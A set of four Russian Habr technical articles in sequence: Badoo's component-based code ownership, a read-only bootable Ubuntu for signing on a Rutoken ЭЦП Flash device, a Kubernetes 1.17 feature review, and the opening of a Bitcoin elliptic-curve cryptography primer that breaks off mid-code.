В этой статье я расскажу, как мы решили проблему разделения зон ответственности и сделали процесс актуализации информации быстрым и удобным с помощью компонентного подхода.
### Предыстория
Представим ситуацию: разработчик одной из команд занимается исправлением бага и в процессе дебага дошёл до кода, за который отвечает другая команда. Как понять, кто именно ответственен за данную функциональность и к кому идти с вопросами?
Другими словами, нужен способ легко найти ответственного за ту или иную часть системы. И для этого мы стали использовать два специальных тега в докблоке (DocBlock) файла:
* @team — команда, ответственная за данную часть системы;
* @maintainer — человек, разрабатывающий данную функциональность (таких сотрудников может быть несколько).
```
/**
* @team Team name
\* @maintainer John Smith
\* @maintainer ....
\*/
```
Такой подход очень просто внедрить и использовать. Например, можно настроить шаблон в PhpStorm — и нужные теги будут автоматически проставляться при создании нового файла. Мы ещё сделали отдельный Git hook, следящий за тем, чтобы у всех файлов были проставлены нужные теги в требуемом формате.
Но вскоре такой подход стал терять свою гибкость. В компанию приходили новые люди, кто-то переходил из одной команды в другую — и каждый раз нужно было актуализировать информацию об ответственных. Кроме того, эта информация дублировалась при настройке мониторинга в Zabbix. И если поправить код — это довольно тривиальная задача, то обновить список получателей уведомлений о результатах определённой проверки быстро не получится. Нужно поставить задачу отделу мониторинга и ждать, когда он выполнит её в рамках заданного процесса.
Нам же хотелось иметь возможность обновлять список ответственных в одном месте. И желательно, чтобы все остальные системы автоматически подхватывали изменения.
Так мы пришли к **компонентному подходу**.
### Что такое компонент
**Начнём с определения: компонент** — это абстракция, представляющая определённую часть системы. Важно отметить, что в нашем случае компоненты не столько инструмент структурирования кода, сколько административный (организационный) инструмент для разделения зон ответственности.
Компонент — это не обязательно функциональность, непосредственно связанная с кодом. Компонентом может быть и организационный процесс, например выпуск новой версии приложения.
При переходе на компонентный подход мы сформировали ряд правил и ограничений:
* структура компонентов должна быть линейной;
* каждая команда должна иметь свой набор компонентов (один и тот же компонент не может относиться к нескольким командам);
* для каждого компонента должен быть задан список ответственных, при этом оптимальное количество ответственных за один компонент — два—четыре человека;
* только менеджер или тимлид команды может добавлять и удалять компоненты;
* у каждого компонента должен быть уникальный идентификатор (alias).
Для управления компонентами у нас есть специальный интерфейс в интранете. Страница компонента выглядит следующим образом:
Пример страницы компонента в интранете Мы видим, что у компонента есть:
* уникальный идентификатор;
* email;
* название команды, которая отвечает за данный компонент;
* название проекта, к которому относится компонент, в Jira;
* краткое описание, которое помогает понять, для чего нужен компонент и какая у него зона ответственности;
* список ответственных: у каждого компонента есть владелец, который может его редактировать (это может быть как менеджер или тимлид команды, так и другой человек, который был явно указан как владелец при добавлении компонента);
### Как мы используем компоненты в коде
#### Докблок файла
```
/**
* @component component_alias
*/
```
Мы доработали Git hook, проверяющий докблок. Он следит за тем, чтобы файлы, в которые были внесены изменения, содержали тег @component и чтобы указанный компонент существовал.
```
remote: ERROR in SomeClass.php:
remote: * Unknown @component: UnknownComponent. You have to create component before using it in the code
```
Также у нас есть хук, который рассылает ответственным за компонент уведомления обо всех изменениях в их файлах, сделанных другими разработчиками. Это полезно в тех случаях, когда разработчики из других команд вносят правки в ваш код и не отправляют задачу вам на ревью.
#### Сервис для работы с компонентами в коде
Для работы с компонентами в коде у нас есть отдельный класс, который позволяет получить список всех компонентов и найти конкретный либо по полному названию, либо по идентификатору. В коде доступна та же информация, что в интерфейсе в интранете.
```
$componentManager = new \Components\ComponentManager();
$component = $componentManager->getComponent('component_alias');
$recipients = [];
foreach ($component->getMaintainers() as maintainer) {
$recipients[] = $maintainer->getEmail();
}
```
или найти дежурного по компоненту:
```
$componentManager = new \Components\ComponentManager();
$component = $componentManager->getComponent('component_alias');
foreach ($component->getMaintainers() as $maintainer) {
if ($maintainer->isDuty()) {
return $maintainer;
}
}
```
#### Интеграция с PhpStorm
В нашем блоге есть [статья](https://habr.com/ru/company/badoo/blog/490024/) про плагин для PhpStorm, который значительно упрощает жизнь разработчикам. За то время, что прошло с момента её написания, мы реализовали много новых удобных фич и добавили поддержку компонентов.
Теперь IDE автоматически выводит на экран владельца компонента и дежурного. Также при наведении на идентификатор компонента отображается дополнительный блок со списком всех ответственных за него с возможностью отправки личных сообщений в мессенджер (Slack).
### Дежурный по компоненту
Думаю, многие из вас сталкивались с проблемой переключения контекста. На мой взгляд, надо стараться этого избегать. У каждого своя скорость — и требуется разное количество времени, чтобы снова погрузиться в задачу (контекст). Кому-то достаточно нескольких минут, а кому-то нужно гораздо больше.
Чтобы минимизировать последствия переключения контекста, мы решили ввести практику дежурств. Теперь у каждого компонента есть дежурный, который является входной точкой для всех вопросов связанных с ним. Когда человек заступает на дежурство, отметка об этом появляется у всех нужных компонентов и отображается в публичной группе в мессенджере.
Это не значит, что команда бросает дежурного на произвол судьбы. В случае если он не сталкивался с какой-либо проблемой ранее, он всегда может подключить коллег. Но если дежурный самостоятельно отвечает даже на 80% вопросов, это означает, что остальные члены команды 80% времени спокойно работают над своими задачами, не опасаясь, что их вырвут из контекста.
Кроме того, дежурства позволяют делиться знаниями внутри команды, тем самым повышая bus factor.
### Интеграция с внутренними системами
Помимо использования компонентов непосредственно в коде, их поддержка была добавлена в большинство наших внутренних систем. Ниже я приведу несколько примеров.
#### Система сбора и анализа PHP-ошибок
Исторически для сбора и анализа PHP-ошибок мы используем самописную систему, которая по функциональности похожа на популярные Sentry и Splunk, но адаптирована к нашим внутренним процессам. В неё первую мы добавили поддержку компонентов.
Один из этапов сбора ошибок — насыщение события дополнительной информацией. Мы добавили в пайплайн новый шаг, на котором система собирает список затронутых компонентов на основе списка файлов из стек-трейса ошибки.
Эту информацию можно использовать:
* для поиска ошибок по определённому компоненту;
* для построения отчётов и графиков в разбивке по компонентам.
Помимо этого, наличие информации о компонентах упрощает поиск ответственного за ту часть системы, в которой произошла ошибка. Для этого достаточно зайти на страницу с детальной информацией об ошибке и посмотреть на стек-трейс:
#### Реестр баз данных
Бэкенд наших приложений Badoo и Bumble состоит из сотен различных модулей, систем и сервисов. Большинство из них для хранения данных использует MySQL.
Теперь представим ситуацию: разработчик начинает разбираться с новой для него функциональностью, и в процессе ему понадобилось посмотреть схему какой-то таблицы. Для этого нужно:
1. Найти в коде, на каком хосте живёт база.
2. Подключиться к хосту через любой удобный инструмент (консольная утилита, phpMyAdmin, Sequel Pro, IDE и т. д.).
3. Найти нужную базу и таблицу.
4. Изучить информацию о таблице.
*А если нужно узнать размер таблицы на продакшене?*
Для начала нужно запросить доступ к базе данных, дождаться его предоставления — и только после этого можно будет получить необходимую информацию. На самом деле схема простая и рабочая — процесс получения доступа у нас автоматизирован. Но требуется довольно много времени для того, чтобы получить ответ на простой вопрос.
Другой пример: нужно найти список таблиц, которые долгое время не используются и просто занимают место на сервере. Тут уже нужно писать скрипт, который обойдёт все нужные серверы и соберёт статистику.
Чтобы упростить жизнь разработчикам, мы создали систему под названием DBRegistry. Она хранит в себе информацию для всех баз данных, доступную через INFORMATION\_SCHEMA.
При внедрении компонентов мы добавили возможность указания, к какому компоненту относится та или иная база данных или таблица.
Информация о компоненте будет полезна в случае, если с каким-то сервером начались проблемы (например, выросла нагрузка на CPU) и администратор баз данных нашёл проблемный запрос и хочет сообщить о проблеме разработчику. Он просто находит нужную таблицу в DBRegistry, смотрит, к какому компоненту она привязана, и пишет о проблеме дежурному.
### Заключение
С момента нашего перехода на компонентный подход прошло больше трёх лет, и за это время поддержка компонентов была реализована во всех внутренних системах. Нам удалось сделать процессы более быстрыми и понятными. Теперь ни у кого не возникает вопроса «А кто отвечает за этот код?». Достаточно открыть интранет и найти нужный компонент — он содержит всю необходимую информацию.
Актуализация списка ответственных теперь сводится **к нескольким кликам** в интерфейсе, хотя до внедрения компонентов на обновление этой информации во всех системах могли уйти дни, а то и недели.
На этом всё. Спасибо за внимание! | https://habr.com/ru/post/562000/ | null | ru | null |
# Электронная подпись в доверенной среде на базe загрузочной Ubuntu 14.04 LTS и Рутокен ЭЦП Flash
Процедура наложения электронной подписи, призванная обеспечить подтверждение целостности подписанного документа и его авторства, сама по себе может быть небезопасной.
Основные атаки на ЭП — это кража ключа и подмена подписываемой информации, а также несанкционированный доступ к средству ЭП (например, USB-токену) посредством кражи его PIN-кода.
Реализуются данные атаки различными способами и на различных уровнях. На уровне ОС это внедрение вредоносного ПО (вирусы, программы-шпионы, руткиты и т.п.), которое способно похищать ключи, PIN-коды и делать подмену документов посредством чтения и/или подмены данных в памяти системного процесса, используя различные механизмы «хака», заложенные в ОС.
Если мы говорим о подписи в браузере, то к данным атакам добавляется возможность проведения атаки man-in-the-middle, направленной на модификацию подписываемых данных на web-странице или на кражу PIN-кода или на перехват secure token для возможности злоумышленнику прикинуться абонентом системы. Кроме того, на сайтах возможна атака типа CSS, обусловленная безалаберностью разработчиков сайта.
Очевидно, что максимально защитить клиента при проведении процедуры ЭП возможно лишь комплексом мер.
К данным мерам можно отнести:
* применение для электронной подписи криптографических смарт-карт/USB-токенов с неизвлекаемыми ключами
* использование правильной реализации протокола TLS на сайте
* правильное конфигурирование этой правильной реализации протокола TLS
* использование специальных аппаратных средств для визуализации подписываемых данных перед наложением подписи (trustscreen)
* корректная реализация браузерных плагинов и расширений, которые обеспечивают ЭП в браузере
* регламентирование процедуры подписи для пользователя с учетом встроенных в браузер механизмов безопасности
+ проверка сертификата TLS-сервера пользователем перед ЭП
+ запуск браузерных плагинов и расширений только на доверенном сайте (сейчас правильно настроенные браузеры предупреждают пользователя о запуске)
+ ввод PIN-кода токена по запросу только доверенного сайта
+ реагирование на предупреждение браузера о получении «смешанного» контента — часть по HTTPS, часть по HTTP
* защита ОС от вредоносного ПО (создание доверенной среды)
Некоторое время назад наша компания выпустила новый [Рутокен ЭЦП Flash](http://www.rutoken.ru/products/all/rutoken-ecp-flash/). Это устройство «два в одном» — криптографический токен и управляемая FLASH-память в едином корпусе. При этом контроллер позволяет настраивать FLASH-память таким образом, что атрибуты настройки нельзя изменить без знания PIN-кода к устройству.
В данной статье мы сделаем кастомную Ubuntu 14.04 LTS, в которую «упакуем» смарткарточные драйвера и [Рутокен Плагин](http://www.rutoken.ru/products/all/rutoken-plugin/). Эту ОС запишем на FLASH-память Рутокен ЭЦП Flash (USB-live) и специальными средствами сделаем ее read-only, так, что без знания PIN-кода злоумышленник не сможет снять этот атрибут.
Таким образом, получим загрузочное устройство, при загрузке с которого пользователь сразу получит возможность подписи документов в браузере на неизвлекаемых ключах в доверенной среде, целостность которой гарантируется управляющим контроллером USB-токена.
### Модификация образа Ubuntu
В качестве станка для кастомизации Ubuntu у меня был тоже Ubuntu.
Подготовка:
```
sudo su
apt-get install squashfs-tools genisoimage
```
Скачиваем ISO-образ Ubuntu 14.04 и складируем его куда надо:
```
mkdir ~/livecdtmp
mv ubuntu-14.04.1-desktop-i386.iso ~/livecdtmp
cd ~/livecdtmp
```
Монтируем ISO-образ:
```
sudo su
mkdir mnt
mount -o loop ubuntu-14.04.1-desktop-i386.iso mnt
```
Делаем экстракт образа:
```
sudo su
mkdir extract-cd
rsync --exclude=/casper/filesystem.squashfs -a mnt/ extract-cd
```
Ну и так далее:
```
sudo su
unsquashfs mnt/casper/filesystem.squashfs
mv squashfs-root editsudo su
cp /etc/resolv.conf edit/etc/
cp /etc/hosts edit/etc/
mount --bind /dev/ edit/dev
chroot edit
mount -t proc none /proc
mount -t sysfs none /sys
mount -t devpts none /dev/pts
export HOME=/root
export LC_ALL=C
dbus-uuidgen > /var/lib/dbus/machine-id
dpkg-divert --local --rename --add /sbin/initctl
ln -s /bin/true /sbin/initctl
```
Собственно кастомизация — установка смарткарточного драйвера и плагина:
```
pt-get install libccid libpcsclite1 pcscd
mkdir /home/ubuntu/.mozilla
mkdir /home/ubuntu/.mozilla/plugins
chmod 776 /home/ubuntu/.mozilla
chmod 776 /home/ubuntu/.mozilla/plugins
cp npCryptoPlugin.so /home/ubuntu/.mozilla/plugins
cp librtpkcs11ecp.so /home/ubuntu/.mozilla/plugins
```
И технические работы по созданию нового ISO:
```
apt-get clean
rm /var/lib/dbus/machine-id
rm /sbin/initctl
dpkg-divert --rename --remove /sbin/initctl
umount /proc || umount -lf /proc
umount /sys
umount /dev/pts
exit
sudo su
umount edit/dev
sudo su
chmod +w extract-cd/casper/filesystem.manifest
chroot edit dpkg-query -W --showformat='${Package} ${Version}\n' > extract-cd/casper/filesystem.manifest
cp extract-cd/casper/filesystem.manifest extract-cd/casper/filesystem.manifest-desktop
sed -i '/ubiquity/d' extract-cd/casper/filesystem.manifest-desktop
sed -i '/casper/d' extract-cd/casper/filesystem.manifest-desktop
rm extract-cd/casper/filesystem.squashfs
mksquashfs edit extract-cd/casper/filesystem.squashfs -comp xz -e edit/boot
printf $(sudo du -sx --block-size=1 edit | cut -f1) > extract-cd/casper/filesystem.size
nano extract-cd/README.diskdefines
cd extract-cd
rm md5sum.txt
find -type f -print0 | sudo xargs -0 md5sum | grep -v isolinux/boot.cat | sudo tee md5sum.txt
mkisofs -D -r -V "$IMAGE_NAME" -cache-inodes -J -l -b isolinux/isolinux.bin -c isolinux/boot.cat -no-emul-boot -boot-load-size 4 -boot-info-table -o ../ubuntu-14.04.1-desktop-i386-rutoken.iso .
```
Ubuntu-14.04.1-desktop-i386-rutoken.iso — это наш загрузочный кастомизированный образ (с установлеными смарткарточными драйверами и Рутокен Плагин), который готов к записи на Рутокен ЭЦП Flash.
### Создание загрузочного устройства
Первым делом отформатируем Рутокен ЭЦП FLASH специальной утилитой, выставив памяти атрибут read-write (под виндой):
```
rtadmin.exe -F 1 30000 u rw -o 87654321 -z rtPKCS11ECP.dll
```
Затем запишем на него ISO, используя UNETBootin (под убунтой):
В качестве размера для preserve file установим 0. Тогда загрузочная Ubuntu будет хранить все изменения в RAM-памяти, а не на FLASH.
После записи образа установим специальными средствами атрибут read-only FLASH-памяти устройства:
```
rtadmin.exe -C 1 ro p -c 12345678 -z rtPKCS11ECP.dll
```
Теперь никто без знания PIN-кода устройства не сможет модифицировать записанный на FLASH-памяти образ Ubuntu.
### Что получилось
Ниже показан процесс загрузки с Рутокен ЭЦП Flash и подпись документов в браузере в доверенной среде:
1. Boot-меню в bios
2. Выбор нужного пункта в меню загрузчика
3. Ubuntu загрузилась, запускаем браузер, заходим в демо-систему. Браузер спрашивает у пользователя позволения запустить плагин на web-странице
4. Разрешаем плагину «Rutoken» загрузиться — нажимаем «Allow» в правом верхнем углу браузера
5. F5
6. Авторизация в системе по сертификату, который хранится на Рутокен ЭЦП Flash
Вводим PIN-код:
6. Подпись платежек в личном кабинете
 | https://habr.com/ru/post/253619/ | null | ru | null |
# Kubernetes 1.17: обзор основных новшеств
Вчера, 9 декабря, [состоялся](https://kubernetes.io/blog/2019/12/09/kubernetes-1-17-release-announcement/) очередной релиз Kubernetes — 1.17. По сложившейся для нашего блога традиции, мы рассказываем о наиболее значимых изменениях в новой версии.
Информация, использованная для подготовки этого материала, взята из официального анонса, [таблицы Kubernetes enhancements tracking](https://docs.google.com/spreadsheets/d/1ebKGsYB1TmMnkx86bR2ZDOibm5KWWCs_UjV3Ys71WIs/edit#gid=0), [CHANGELOG-1.17](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.17.md) и соответствующих issues, pull requests, а также Kubernetes Enhancement Proposals (KEP). Итак, что нового?..
Маршрутизация с учётом топологии
--------------------------------
Вот уже долгое время в сообществе Kubernetes ждали этой фичи — **Topology-aware service routing**. Если [KEP](https://github.com/kubernetes/enhancements/blob/master/keps/sig-network/20181024-service-topology.md) по ней берёт своё начало в октябре 2018-го, а официальный [enhancement](https://github.com/kubernetes/enhancements/issues/536) — 2 года назад, то обычные issues *(вроде [этого](https://github.com/kubernetes/kubernetes/issues/7433))* — и вовсе старше ещё на несколько лет…
Общая идея сводится к тому, чтобы предоставить возможность реализовывать «локальную» маршрутизацию для сервисов, находящихся в Kubernetes. «Локальность» в данном случае означает «тот же самый топологический уровень» *(topology level)*, коим может являться:
* одинаковый для сервисов узел,
* та же самая серверная стойка,
* тот же самый регион,
* тот же самый облачный провайдер,
* …
Примеры использования такой фичи:
* экономия на трафике в облачных инсталляциях со множеством зон доступности (multi-AZ) — см. [свежую иллюстрацию](https://www.lastweekinaws.com/blog/aws-cross-az-data-transfer-costs-more-than-aws-says/) на примере трафика одного региона, но разных AZ в AWS;
* меньшие задержки в производительности/лучшая пропускная способность;
* шардированный сервис, имеющий локальную информацию об узле в каждом шарде;
* размещение fluentd (или аналогов) на один узел с приложениями, логи которых собираются;
* …
Такую маршрутизацию, «знающую» о топологии, ещё называют подобием network affinity — по аналогии с [node affinity](https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#node-affinity), [pod affinity/anti-affinity](https://kubernetes.io/docs/concepts/configuration/assign-pod-node/#inter-pod-affinity-and-anti-affinity) или появившимся [не так давно](https://habr.com/ru/company/flant/blog/353114/) [Topology-Aware Volume Scheduling](https://github.com/kubernetes/community/blob/master/contributors/design-proposals/storage/volume-topology-scheduling.md) (и [Volume Provisioning](https://kubernetes.io/blog/2018/10/11/topology-aware-volume-provisioning-in-kubernetes/)). Текущий уровень реализации `ServiceTopology` в Kubernetes — альфа-версия.
Подробности о том, как фича устроена и как ей уже можно воспользоваться, читайте в [этой статье](https://imroc.io/posts/kubernetes/service-topology-en/) от одного из авторов.
Поддержка двойного стека IPv4/IPv6
----------------------------------
Значительный прогресс [зафиксирован](https://github.com/kubernetes/enhancements/issues/563#issuecomment-536636707) в другой сетевой фиче: одновременной поддержке двух IP-стеков, что была впервые представлена в [K8s 1.16](https://habr.com/ru/company/flant/blog/467477/). В частности, новый релиз принёс следующие изменения:
* в kube-proxy [реализована](https://github.com/kubernetes/kubernetes/pull/79576) возможность одновременной работы в обоих режимах (IPv4 и IPv6);
* в `Pod.Status.PodIPs` [появилась](https://github.com/kubernetes/kubernetes/pull/83123) поддержка downward API (одновременно с этим в `/etc/hosts` теперь требуют для хоста добавлять и IPv6-адрес);
* поддержка двух стеков в [KIND](https://github.com/kubernetes-sigs/kind/pull/692) (Kubernetes IN Docker) и [kubeadm](https://github.com/kubernetes/kubeadm/issues/1612);
* обновлённые e2e-тесты.
*[Иллюстрация](https://github.com/kubernetes-sigs/kind/blob/8377cd8fd99c35fb4cc123793687d30bfb7a002e/site/content/docs/user/quick-start.md#dual-stack-clusters) использования двойного стека IPV4/IPv6 в KIND*
Прогресс по CSI
---------------
Объявлена стабильной [**поддержка топологий**](https://github.com/kubernetes/enhancements/issues/557) для хранилищ на базе CSI, впервые представленная в [K8s 1.12](https://habr.com/ru/company/flant/blog/424331/).
Инициатива по **миграции плагинов томов на CSI** — [CSI Migration](https://github.com/kubernetes/enhancements/issues/625) — достигла бета-версии. Эта фича критична для того, чтобы перевести существующие плагины хранилищ *(in-tree)* на современный интерфейс *(CSI, out-of-tree)* незаметно для конечных пользователей Kubernetes. Администраторам кластеров будет достаточно активировать CSI Migration, после чего существующие stateful-ресурсы и рабочие нагрузки будут по-прежнему «просто работать»… но уже с использованием актуальных CSI-драйверов вместо устаревших, входящих в ядро Kubernetes.
На данный момент в статусе бета-версии готова миграция для драйверов AWS EBS (`kubernetes.io/aws-ebs`) и GCE PD (`kubernetes.io/gce-pd`). Прогнозы по другим хранилищам таковы:
О том, как «традиционная» поддержка хранилищ в K8s пришла к CSI, мы рассказывали в [этой статье](https://habr.com/ru/company/flant/blog/465417/). А переходу миграции CSI в статус бета-версии посвящена [отдельная публикация](https://kubernetes.io/blog/2019/12/09/kubernetes-1-17-feature-csi-migration-beta/) в блоге проекта.
Кроме того, статуса бета-версии (т.е. включения по умолчанию) в релизе Kubernetes 1.17 достигла другая значимая функциональность в контексте CSI, берущая своё начало (альфа-реализацию) в K8s 1.12, — **[создание снапшотов](https://github.com/kubernetes/enhancements/issues/177) и восстановление из них**. Среди изменений, произведённых в Kubernetes Volume Snapshot на пути к бета-релизу:
* разбивка sidecar'а CSI external-snapshotter на два контроллера,
* добавлен секрет на удаление *(deletion secret)* как аннотация к содержимому снапшота тома,
* новый финализатор *(finalizer)* для предотвращения удаления API-объекта снапшота при наличии оставшихся связей.
На момент релиза 1.17 фича поддерживается у трёх CSI-драйверов: GCE Persistent Disk CSI Driver, Portworx CSI Driver и NetApp Trident CSI Driver. Подробнее о её реализации и использовании можно прочитать в [этой публикации](https://kubernetes.io/blog/2019/12/09/kubernetes-1-17-feature-cis-volume-snapshot-beta/) в блоге.
Cloud Provider Labels
---------------------
Лейблы, которые автоматически **назначаются на создаваемые узлы и тома в зависимости от используемого облачного провайдера**, были доступны в Kubernetes как бета-версия уже очень давно — начиная с релиза K8s 1.2 *(апрель 2016 года!)*. Учитывая их широкое применение так долго, разработчики [решили](https://github.com/kubernetes/enhancements/issues/837), что настало время объявить фичу стабильной (GA).
Посему все они были переименованы соответствующим образом (по топологиям):
* `beta.kubernetes.io/instance-type` → `node.kubernetes.io/instance-type`
* `failure-domain.beta.kubernetes.io/zone` → `topology.kubernetes.io/zone`
* `failure-domain.beta.kubernetes.io/region` → `topology.kubernetes.io/region`
… но по-прежнему доступны и по своим старым названиям (для обратной совместимости). Впрочем, всем администраторам рекомендуется переходить на актуальные лейблы. [Соответствующая документация](https://kubernetes.io/docs/reference/kubernetes-api/labels-annotations-taints/#nodekubernetesioinstance-type) K8s была обновлена.
Структурированный вывод kubeadm
-------------------------------
В формате альфа-версии впервые представлен [структурированный вывод для утилиты kubeadm](https://github.com/kubernetes/enhancements/issues/1053). Поддерживаемые форматы: JSON, YAML, Go-шаблон.
Мотивация к реализации этой фичи (согласно [KEP](https://github.com/kubernetes/enhancements/blob/master/keps/sig-cluster-lifecycle/kubeadm/20190506-kubeadm-machine-output.md)) такова:
> Хоть Kubernetes и может быть развёрнут вручную, стандартом де-факто (если не де-юре) для этой операции является использование kubeadm. Популярные инструменты управления системами вроде Terraform опираются на kubeadm для деплоя Kubernetes. Запланированные улучшения в Cluster API включают в себя компонуемый пакет для bootstrapping'а Kubernetes с kubeadm и cloud-init.
>
>
>
> Без структурированного вывода даже самые безобидные на первый взгляд изменения могут сломать Terraform, Cluster API и другой софт, использующий результаты работы kubeadm.
В ближайших планах значится поддержка (в виде структурированного вывода) для следующих команд kubeadm:
* `alpha certs`
* `config images list`
* `init`
* `token create`
* `token list`
* `upgrade plan`
* `version`
Иллюстрация JSON-ответа на команду `kubeadm init -o json`:
```
{
"node0": "192.168.20.51:443",
"caCrt": "sha256:1f40ff4bd1b854fb4a5cf5d2f38267a5ce5f89e34d34b0f62bf335d74eef91a3",
"token": {
"id": "5ndzuu.ngie1sxkgielfpb1",
"ttl": "23h",
"expires": "2019-05-08T18:58:07Z",
"usages": [
"authentication",
"signing"
],
"description": "The default bootstrap token generated by 'kubeadm init'.",
"extraGroups": [
"system:bootstrappers:kubeadm:default-node-token"
]
},
"raw": "Rm9yIHRoZSBhY3R1YWwgb3V0cHV0IG9mIHRoZSAia3ViZWFkbSBpbml0IiBjb21tYW5kLCBwbGVhc2Ugc2VlIGh0dHBzOi8vZ2lzdC5naXRodWIuY29tL2FrdXR6LzdhNjg2ZGU1N2JmNDMzZjkyZjcxYjZmYjc3ZDRkOWJhI2ZpbGUta3ViZWFkbS1pbml0LW91dHB1dC1sb2c="
}
```
Стабилизация других новшеств
----------------------------
Вообще же, релиз Kubernetes 1.17 состоялся под девизом «**Стабильность**». Тому способствовал тот факт, что очень многие фичи в нём (их общее количество — **14**) получили статус GA. Среди таковых:
* «пометка» узлов по определённым условиям ([`TaintNodesByCondition`](https://github.com/kubernetes/enhancements/issues/382)), появившаяся в [K8s 1.8](https://habr.com/ru/company/flant/blog/338230/);
* [Watch Bookmarks](https://github.com/kubernetes/enhancements/issues/956) — новый тип событий, имеющих метку, что все объекты до определённой версии (`resourceVersion`) уже были обработаны watch'ем;
* [значения по умолчанию](https://github.com/kubernetes/enhancements/issues/575) (defaulting) для Custom Resources;
* [разделяемые между контейнерами](https://kubernetes.io/docs/tasks/configure-pod-container/share-process-namespace/) в pod'е process namespaces;
* `ScheduleDaemonSetPods` — [планирование pod'ов в DaemonSet](https://github.com/kubernetes/enhancements/issues/548) с помощью kube-scheduler (вместо контроллера DaemonSet);
* [динамические лимиты](https://github.com/kubernetes/enhancements/issues/554) на количество томов в зависимости от типа узла;
* [поддержка переменных окружения](https://github.com/kubernetes/enhancements/issues/559) для названий директорий, монтируемых как `subPath`;
* [перенос Kubelet heartbeats](https://github.com/kubernetes/enhancements/issues/589) в специализированный Lease API;
* «защита финализатора» ([Finalizer Protection](https://github.com/kubernetes/enhancements/issues/980)) для балансировщиков нагрузки (проверка соответствующих ресурсов Service'а перед удалением ресурсов LoadBalancer'а);
* [оптимизация kube-apiserver](https://github.com/kubernetes/enhancements/issues/1152) в производительности при работе со множеством watches, наблюдающих за идентичными наборами объектов, — достигается благодаря избегаю повторной сериализации одних и тех же объектов для каждого watcher'а.
Прочие изменения
----------------
Полный список новшеств в Kubernetes 1.17, конечно, не ограничивается перечисленными выше. Вот некоторые другие из них (а для более полного перечня — см. [CHANGELOG](https://github.com/kubernetes/kubernetes/blob/master/CHANGELOG/CHANGELOG-1.17.md)):
* до бета-версии «доросла» представленная в прошлом релизе фича [`RunAsUserName` для Windows](https://github.com/kubernetes/enhancements/issues/1043);
* аналогичное изменение [постигло](https://github.com/kubernetes/kubernetes/pull/85365) EndpointSlice API (тоже из K8s 1.16), однако пока это решение для улучшения производительности/масштабируемости Endpoint API не активировано по умолчанию;
* критичные для работы кластера pod'ы теперь [могут быть созданы](https://github.com/kubernetes/kubernetes/pull/76310) не только в пространств имён `kube-system` *(подробности см в документации по [Limit Priority Class consumption](https://kubernetes.io/docs/concepts/policy/resource-quotas/#limit-priority-class-consumption-by-default))*;
* новая опция для kubelet — [`--reserved-cpus`](https://github.com/kubernetes/kubernetes/pull/83592) — позволяет явно определять список CPU, зарезервированных для системы;
* для `kubectl logs` [представлен](https://github.com/kubernetes/kubernetes/pull/76471) новый флаг `--prefix`, добавлящий название pod'а и контейнера источника к каждой строке лога;
* в `label.Selector` [добавили](https://github.com/kubernetes/kubernetes/pull/85048) `RequiresExactMatch`;
* все контейнеры в kube-dns [теперь запускаются](https://github.com/kubernetes/kubernetes/pull/82347) с меньшими привилегиями;
* [hyperkube](https://github.com/kubernetes/kubernetes/tree/master/cluster/images/hyperkube) выделен в отдельный GitHub-репозиторий и больше не будет включаться в релизы Kubernetes;
* значительно [улучшена производительность](https://github.com/kubernetes/kubernetes/pull/83208) kube-proxy для не-UDP-портов.
Изменения в зависимостях:
* версия CoreDNS в составе в kubeadm — 1.6.5;
* версия crictl обновлена до v1.16.1;
* CSI 1.2.0;
* etcd 3.4.3;
* последняя проверенная версия Docker повышена до 19.03;
* минимальная версия Go, требуемая для сборки Kubernetes 1.17, — 1.13.4.
P.S.
----
Читайте также в нашем блоге:
* «[Kubernetes 1.16: обзор основных новшеств](https://habr.com/ru/company/flant/blog/467477/)»;
* «[Kubernetes 1.15: обзор основных новшеств](https://habr.com/ru/company/flant/blog/456084/)»;
* «[Kubernetes 1.14: обзор основных новшеств](https://habr.com/ru/company/flant/blog/445196/)»;
* «[Kubernetes 1.13: обзор основных новшеств](https://habr.com/ru/company/flant/blog/432208/)». | https://habr.com/ru/post/476998/ | null | ru | null |
# Bitcoin in a nutshell — Cryptography
Одна из причин, почему Bitcoin продолжает привлекать столько внимания — это его исключительная «математичность». Сатоши Накамото удалось создать систему, которая способна функционировать при полном отсутствии доверия между ее участниками. Все взаимодействия основаны на строгой математике, никакого человеческого фактора — вот в чем была революционность идеи, а не в одноранговой сети, как многие думают. Поэтому первую главу я решил посвятить именно математическим основам Bitcoin.
Ниже я постараюсь объяснить вам самые базовые вещи — эллиптические кривые, ECC, приватные / публичные ключи и так далее. По возможности я буду иллюстрировать свои слова примерами кода, преимущественно на Python 2.7, если что-то непонятно — спрашивайте в комментариях.
### Book
* Bitcoin in a nutshell — Cryptography
* [Bitcoin in a nutshell — Transaction](https://habrahabr.ru/post/319860/)
* [Bitcoin in a nutshell — Protocol](https://habrahabr.ru/post/319862/)
* [Bitcoin in a nutshell — Blockchain](https://habrahabr.ru/post/320176/)
* [Bitcoin in a nutshell — Mining](https://habrahabr.ru/post/320178/)
### Table of content
1. Introduction
2. Elliptic curve
3. Digital signature
4. Private key
5. Public key
6. Formats & address
7. Sign
8. Verify
9. Formats
10. Links
### Introduction
Как я уже сказал выше, криптография — это фундаментальная часть Bitcoin. Без нее вообще бы ничего не заработало, поэтому начинать нужно именно отсюда.
В Bitcoin используется так называемая [криптография на эллиптических кривых](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%BB%D0%B8%D0%BF%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D0%BA%D1%80%D0%B8%D0%BF%D1%82%D0%BE%D0%B3%D1%80%D0%B0%D1%84%D0%B8%D1%8F) (*Elliptic curve cryptography, ECC*). Она основана на некоторой особой функции — эллиптической кривой (не путать с эллипсом). Что это за функция и чем она так примечательна я расскажу дальше.
### Elliptic curve
> Эллипти́ческая крива́я над полем  — неособая кубическая кривая на проективной плоскости над  (алгебраическим замыканием поля ), задаваемая уравнением 3-й степени с коэффициентами из поля  и «точкой на бесконечности» — [Wikipedia](https://ru.wikipedia.org/wiki/%D0%AD%D0%BB%D0%BB%D0%B8%D0%BF%D1%82%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B0%D1%8F_%D0%BA%D1%80%D0%B8%D0%B2%D0%B0%D1%8F)
>
>
Если на пальцах, то эллиптическая кривая — это внешне довольно простая функция, как правило, записываемая в виде так называемой формы Вейерштрасса: 
В зависимости от значений параметров  и , график данной функции может выглядеть по разному:
Скрипт для отрисовки графика на Python:
```
import numpy as np
import matplotlib.pyplot as plt
def main():
a = -1
b = 1
